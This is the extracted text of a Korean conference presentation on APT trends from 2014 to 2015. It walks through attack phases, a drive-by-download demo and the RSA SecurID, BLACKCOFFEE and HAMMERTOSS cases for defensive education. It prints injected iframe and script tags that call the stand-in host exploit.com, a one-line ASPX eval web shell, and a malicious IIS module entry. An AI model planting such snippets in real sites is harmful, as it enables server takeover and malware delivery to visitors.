1. 지능형 지속 위협 최신동향 분석
주한익
코어시큐리티 교육사업부/보안기술연구팀
joohanik@coresec.co.kr
2. APT(지능형 지속 위협) 용어에 대한 밴더들의 정의
. Drive-By Downloads, SQL Injection, SpyWare, Phishing, Spam 등의 다양한 기술을 이용한 타겟팅 공격
. 특정 대상의 기밀정보 탈취 혹은 정치적 목적을 위해 최신의 복합적인 공격 기법을 사용하는 형태의 공격
. 즉각적인 금전적 이득이 아닌 중요한 정보를 탈취하는 것을 목표로 하여 장기간동안 은밀하게 수행하는 공격
. 장기간에 걸쳐 목표 조직 혹은 사용자의 중요한 자산을 탈취하는데 목표를 두고 수행되는 공격
. 탐지 회피 기술을 사용하며 공격받고 있다는 사실을 숨기며, 장기간에 걸쳐서 피해를 주는 형태의 공격
. 장기간에 걸쳐 미리 정해진 특정 목표에 대해 위협을 가하는 공격
3. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture Exfiltration
Phase 1 Phase 2 Phase 3 Phase 4
세부 특징
Reconnaissance
Social engineering
Zero-day vulnerability
Manual operations
관련 스킬셋
웹 사이트 서핑
구글링
SNS 조사 웹 사이트 취약점 공격
시스템 취약점 공격
스피어 피싱 (링크/문서파일첨부 메일)
저장매체를 이용한 악성코드 유입
워터링 홀
DEMO
Step1. 공격자는 웹사이트의 취약점 공격 (웹쉘 취약점을 이용한 서버 시스템 제어권한 탈취)
Step2. 공격자는 제어권한을 획득한 웹서버에 악성코드 삽입 (랜딩 페이지로 유도하는 iframe 삽입)
Step3. 사용자는 공격당한 웹 사이트에 방문하게 되고 악성 프레임에 의해 익스플로잇킷의 랜딩 페이지를
로딩함 (랜딩 페이지는 사용자의 운영체제와 브라우저, 플러그인의 종류, 사용언어, 과거 방문여부
등을 검사)
드라이브 바이 다운로드
4. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한 웹서버
<iframe src=http://exploit.com/land.html ..
<script src=http://exploit.com/mal.js ..
익스플로잇킷 서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와 운영체제의 이름, 버전 체크
•설치된 브라우저 플러그인과 버전을 확인하여
취약 여부 확인
•취약점을 공격하는 익스플로잇 페이지로 유도
사용자 PC
Step1. 웹쉘 업로드
Step2. 악성 프레임/스크립트 삽입
엔터프라이즈 네트워크 인프라
Step3-1. 웹 사이트 방문
공격자 & C2
Step3-2. 랜딩 페이지 로딩
Step3-3. 웹 브라우저 플러그인
익스플로잇 유입
Step3-3. 악성코드 감염
데이터베이스 서버
5. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture Exfiltration
Phase 1 Phase 2 Phase 3 Phase 4
세부 특징
Multiple vectors
Run silent, run deep
Research and analysis
관련 스킬셋
DEMO
추가 악성코드 다운로드
탐지 우회를 위한 스파게티 코드
서비스 취약점 스캐닝
운영체제 및 서비스 버전 파악
네트워크 구조 파악
Step4. 공격자는 네트워크 악성코드를 추가로 다운로드 하여 목표의 네트워크 정보를 수집함
(추가 악성코드 다운로드, 네트워크 구조 파악)
키로깅을 통한 계정정보 탈취
Step5. 사용자가 입력하는 키스트로크 정보를 로깅하여 데이터베이스 서버의 계정 정보를 수집함
(키로깅을 통한 계정정보 탈취)
6. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한 웹서버
익스플로잇킷 서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와 운영체제의 이름, 버전 체크
•설치된 브라우저 플러그인과 버전을 확인하여
취약 여부 확인
•취약점을 공격하는 익스플로잇 페이지로 유도
사용자 PC
공격자 & C2
Step 4-1. 추가 악성코드 유입
엔터프라이즈 네트워크 인프라
데이터베이스 서버
Step 4-2. 내부 네트워크 정보 수집
Step 5. 키로깅
<iframe src=http://exploit.com/land.html ..
<script src=http://exploit.com/mal.js ..
7. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture Exfiltration
Phase 1 Phase 2 Phase 3 Phase 4
세부 특징
Long-term occupancy
Control
관련 스킬셋
DEMO
데이터베이스 정보 접근
루트킷 설치를 통한 은닉
시스템 파괴시스템 재부팅
Step6. 공격자는 보안 솔루션의 탐지 우회를 우회 터널링 및 포트 포워딩을 수행함 (암호화 통신)
암호화 통신
Step7. 공격자는 암호화된 채널을 통해 데이터베이스 서버에 접근함 (데이터베이스 정보 접근)
8. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한 웹서버
익스플로잇킷 서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와 운영체제의 이름, 버전 체크
•설치된 브라우저 플러그인과 버전을 확인하여
취약 여부 확인
•취약점을 공격하는 익스플로잇 페이지로 유도
사용자 PC
공격자 & C2
Step 6. 터널링 및 포트포워딩
엔터프라이즈 네트워크 인프라
데이터베이스 서버
<iframe src=http://exploit.com/land.html ..
<script src=http://exploit.com/mal.js ..
Step 7. 데이터베이스 접근
9. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture Exfiltration
Phase 1 Phase 2 Phase 3 Phase 4
세부 특징
Data transmission
Ongoing analysis
스킬셋
DEMO
탈취한 개인정보 판매
수집한 데이터 패킹 및 암호화 압축
탈취한 데이터 전송
Step8. 공격자는 탈취한 데이터베이스 정보를 ZIP 파일로 암호화 압축함
(수집한 데이터 패킹 및 암호화 압축)
Step9. ZIP 파일을 암호화된 채널을 통해 공격자에게 전송함 (탈취한 데이터 전송)
10. 기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한 웹서버
익스플로잇킷 서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와 운영체제의 이름, 버전 체크
•설치된 브라우저 플러그인과 버전을 확인하여
취약 여부 확인
•취약점을 공격하는 익스플로잇 페이지로 유도
사용자 PC
공격자 & C2
Step 9. 압축된 데이터베이스
파일 전송
<iframe src=http://exploit.com/land.html ..
<script src=http://exploit.com/mal.js ..
Step 8. 데이터베이스 정보
수집 및 압축
엔터프라이즈 네트워크 인프라
데이터베이스 서버
익스플로잇#2익스플로잇#1 익스플로잇#N
11. 2014~2015년도 APT(지능형 지속 위협)에서 사용되는 스킬셋의 변화
침해당한 웹서버
익스플로잇킷 서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와 운영체제의 이름, 버전 체크
•설치된 브라우저 플러그인과 버전을 확인하여
취약 여부 확인
•취약점을 공격하는 익스플로잇 페이지로 유도
사용자 PC
공격자 & C2
데이터베이스 서버
•단일라인 웹쉘 사용
<%@ Page Language="Jscript"%>
<%eval(Request.Item["p1"],"unsafe");%>
•센서 우회를 위한 SSL 통신 사용
•IIS의 web.config 조작을 통한 악성 DLL 모듈 삽입
<modules>
<add type="Microsoft.Exchange.Clients.Bad
Module" name="BadModule" />
</modules>
•VPN을 이용한 조직의
네트워크 인프라 진입
엔터프라이즈 네트워크 인프라
•WMI/파워쉘 기반 백도어 삽입
(objects.data 데이터베이스 파일)
•소스코드가 수정된 Mimikatz를
이용한 메모리상 패스워드 수집
•난독화, 코드조작 예방을 위한 무결성 검사 기능 추가
•가상머신 탐지기능 추가
•공격에 사용되는 서버시스템의 도메인쉐도잉(Domain Shadowing)
13. VPN Hijacking : RSA Security "Secure ID" Hacking 사례
RSA Security
마이크로소프트 오피스 엑셀 파일이
첨부된 스피어 피싱 메일 발송
사용자 PC
사용자가 엑셀
파일을 실행함
트로이안 유형의
악성코드 감염
"Secure ID" 서버
RSA Security
내부 네트워크
OTP 생성 알고리즘, Initial Value,
사용자(고객) 내역등의 정보 접근 및 탈취
- "Secure ID"는 RSA Security의 OTP(One Time Password)
- 포준 500대 기업의 75% 이상이 사용하고 있음
- 전 세계 1500만명 이상이 사용하는 대표적 OTP
"Poison Ivy RAT"를
이용한 원격 제어
직원용 VPN 네트워크를 이용하여
록히드 마틴의 내부 네트워크 접근
"Secure ID" 사용 고객 "Secure ID" 사용 고객 "Secure ID" 사용 고객
탈취한 OTP 정보를 이용하여 접근 및 공격시도
F22등을 생산하는 전세계 최고의
방위 산업체
미 국방부에 통신, 정보, 정탐
및 정찰 등의 장비와 서비스를
공급하는 업체
항공우주 방위산업체
14. 2014~2015년도 APT(지능형지속위협)의 특징 : 익스플로잇 킷의 신속한 모듈 업데이트
특징1. 패치가 발표되자마자 해당 취약점에 대한 익스플로잇 모듈 적용
패치된 취약점도 익스플로잇 킷(e.g. 앵글러, 뉴클리어)의 공격모듈로 빈번하게 사용됨
패치 업데이트를 제때 적용하기 어려운 경우 생기는 패치허점(Patching Gap)을 악용
출처 : Cisco 2015 - Midyear Security Report
15. 2014~2015년도 APT(지능형지속위협)의 특징 : APT17 - BLACKCOFFEE 사례
특징2. SNS 및 포럼 쓰레드등을 이용한 명령체계
마이크로소프트 테크넷 포럼 쓰래드
@MICROSOFT<eight-character string with two characters per octet>CORPORATION
특정 문자열 패턴으로 구성된
인코딩된 C2 IP 주소
BLACKCOFEE 악성
코드에 감염된 사용자
BLACKCOFFEE는 주기적으로 페이지를 검사하여 인코딩된 C2 IP
주소가 담겨진 문자열을 찾으며, 해당 문자열을 가져온 후 디코딩
BLACKCOFFEE
C2 서버
BLACKCOFFEE는 리버스 쉘, 파일 업로드/
다운로드, 파일 이름조작/이동/삭제, 프로세스 종료
등의 기능을 포함하여 약 15개의 명령체계를 가짐
미국의 정부기관, 방위산업체, 로펌, 정보보안
업체등에 속한 사용자를 주요 타겟으로 함
16. 2014~2015년도 APT(지능형지속위협)의 특징 : APT29 - HAMMERTOSS 사례
특징2. SNS 및 포럼 쓰레드를 이용한 명령체계
트위터 핸들
(사용자의 ID와 연관된 트위터 웹 사이트)
Step2
•HAMMERTOSS는 특정 날짜에 특정 트위터 핸들을 방문하도록 하는
알고리즘을 가지고 있음
•날짜와 계정이름을 조합하여 방문할 URL 패턴을 생성하며, 주기적으로
변하므로 패턴을 특정하기 어려움 (e.g. https://www.twitter.com/abBob52b/)
Bobby
@abBob52b
Step1. APT29에 속한 공격자는 지정한 날짜에 트위터 핸들을 등록
(사용되는 핸들의 URL은 악성코드의 알고리즘과 동일하게 생성)
HAMMERTOSS 악성
코드에 감염된 사용자
Follow doctorhandbook.com#101docto
•암호화된 이미지파일을 보관하고 있는 서버 URL
•이미지파일 내의 암호화된 명령 문자열 옵셋과 복호에
사용되는 문자열
doctorhandbook.com
Step3. 이미지파일을 캐쉬 디렉토리에 다운로드한 후
파일내의 데이터 복호화 및 명령 획득
(복호된 데이터는 파워쉘 명령을 포함)
수집한 정보를 저장하는 클라우드
Step4. 명령실행 후 수집한 정보를
클라우드에 업로드
옵셋 101에서 암호화된
데이터 획득
Step5. 정보 수집